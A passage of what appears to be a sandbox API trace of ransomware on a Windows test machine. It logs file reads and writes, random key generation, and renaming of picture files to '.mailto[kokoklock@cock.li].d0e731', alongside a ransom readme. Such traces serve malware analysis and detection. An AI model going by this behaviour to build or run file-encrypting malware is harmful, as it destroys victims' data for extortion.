lpOverlapped=0x0) returned 1 [0169.706] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881d8 [0169.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881d8) returned 1 [0169.706] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.707] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1106f704, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1106f704*=0x4096, lpOverlapped=0x0) returned 1 [0169.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.707] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5c01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.707] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1106f73c, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x1106f73c*=0x20, lpOverlapped=0x0) returned 1 [0169.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.707] WriteFile (in: hFile=0x370, lpBuffer=0x2f881b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x2f881b0*, lpNumberOfBytesWritten=0x1106f750*=0x8, lpOverlapped=0x0) returned 1 [0169.707] WriteFile (in: hFile=0x370, lpBuffer=0x1106f768*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x1106f768*, lpNumberOfBytesWritten=0x1106f750*=0x4, lpOverlapped=0x0) returned 1 [0169.708] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1106f750*=0x4, lpOverlapped=0x0) returned 1 [0169.708] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1106f750*=0x6c, lpOverlapped=0x0) returned 1 [0169.708] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1106f750*=0x20, lpOverlapped=0x0) returned 1 [0169.708] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1106f750*=0x4, lpOverlapped=0x0) returned 1 [0169.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.708] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.708] CloseHandle (hObject=0x370) returned 1 [0169.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff2528 [0169.708] wcscpy (in: _Dest=0x2ff2528, _Source="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" [0169.708] wcscat (in: _Dest=0x2ff2528, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.708] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.710] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2528) returned 1 [0169.710] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa46c0 [0169.710] wcscpy (in: _Dest=0x2fa46c0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.710] wcscat (in: _Dest=0x2fa46c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.710] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa46c0) returned 1 [0169.710] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82508) returned 1 [0169.711] RtlExitUserThread (Status=0x1) Thread: id = 1861 os_tid = 0xff0 [0169.713] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.713] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.713] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x110efa7c | out: lpFileSize=0x110efa7c*=21140) returned 1 [0169.713] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.714] ReadFile (in: hFile=0x370, lpBuffer=0x110efa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x110efa50*, lpNumberOfBytesRead=0x110efa4c*=0x4, lpOverlapped=0x0) returned 1 [0169.715] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.715] NtQuerySystemTime (in: CurrentTime=0x110efa28 | out: CurrentTime=0x110efa28*=132121213270376645) returned 0x0 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xa6af2ac9 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x956ff973 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x3a1483a4 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xa00aee68 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xad268668 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x116c25eb [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x64fb331e [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x19cd97a8 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x514a0ff8 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x40594285 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x1ce2c9c0 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xcd68fe72 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x9359094 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xd092882f [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x220e2c00 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xb52af828 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x9ecb9374 [0169.715] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x4095493c [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xc738f826 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x4d72b431 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xc255209f [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x8ef12736 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xd43489c1 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x6439434b [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x5b7ee14f [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xb94c05dd [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xf29c9e89 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x5c3da27f [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xa587e167 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x5af7391a [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0xfeca0ee8 [0169.716] RtlRandom (in: Seed=0x110efa34 | out: Seed=0x110efa34) returned 0x886f416d [0169.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881d8 [0169.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.727] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.727] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x110efa00, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x110efa00*=0x4096, lpOverlapped=0x0) returned 1 [0169.727] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0169.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.727] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0169.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0169.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.728] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x110efa00, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x110efa00*=0x4096, lpOverlapped=0x0) returned 1 [0169.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.729] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x2f88200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x110efa38, lpOverlapped=0x0 | out: lpBuffer=0x2f88200*, lpNumberOfBytesWritten=0x110efa38*=0x20, lpOverlapped=0x0) returned 1 [0169.729] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0169.729] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x2f881d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f881d8*, lpNumberOfBytesWritten=0x110efa4c*=0x8, lpOverlapped=0x0) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x110efa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x110efa64*, lpNumberOfBytesWritten=0x110efa4c*=0x4, lpOverlapped=0x0) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x110efa4c*=0x4, lpOverlapped=0x0) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x110efa4c*=0x6c, lpOverlapped=0x0) returned 1 [0169.729] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x110efa4c*=0x20, lpOverlapped=0x0) returned 1 [0169.730] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x110efa4c*=0x4, lpOverlapped=0x0) returned 1 [0169.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881d8) returned 1 [0169.730] CloseHandle (hObject=0x370) returned 1 [0169.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff15f8 [0169.730] wcscpy (in: _Dest=0x2ff15f8, _Source="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" [0169.730] wcscat (in: _Dest=0x2ff15f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.730] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.731] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.731] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff15f8) returned 1 [0169.731] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa46c0 [0169.731] wcscpy (in: _Dest=0x2fa46c0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.732] wcscat (in: _Dest=0x2fa46c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.732] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa46c0) returned 1 [0169.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5008) returned 1 [0169.732] RtlExitUserThread (Status=0x1) Thread: id = 1862 os_tid = 0xff4 [0169.734] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.735] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.735] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1116f9e8 | out: lpFileSize=0x1116f9e8*=70845) returned 1 [0169.735] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x114b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.735] ReadFile (in: hFile=0x370, lpBuffer=0x1116f9bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x1116f9bc*, lpNumberOfBytesRead=0x1116f9b8*=0x4, lpOverlapped=0x0) returned 1 [0169.736] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881d8 [0169.736] NtQuerySystemTime (in: CurrentTime=0x1116f994 | out: CurrentTime=0x1116f994*=132121213270533395) returned 0x0 [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xcd49fc8a [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x54d94b6b [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x9bba56c9 [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x572ec0ab [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xe4e6a4ff [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x83127c7a [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x563e40bd [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xdfdec3be [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xdbd4351b [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x4461c876 [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x3ed1ee90 [0169.736] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x1fcb0bf9 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xcbf867c7 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xfb15e2a1 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xaab37d08 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xef9542 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x141dadd8 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xda12eec4 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xdbb5edf1 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xe51b9bc7 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xb9422f7a [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x92a9e551 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x3ce32cd6 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xc9fbb6f0 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x7ceeae52 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xca40fe00 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xa485b0d9 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x43a704b9 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xc29c53f6 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x6d97061 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0x5da9b394 [0169.737] RtlRandom (in: Seed=0x1116f9a0 | out: Seed=0x1116f9a0) returned 0xa4c6b21e [0169.746] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0169.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.748] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.748] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1116f96c, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1116f96c*=0x4096, lpOverlapped=0x0) returned 1 [0169.749] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88228 [0169.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88228) returned 1 [0169.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88228 [0169.750] 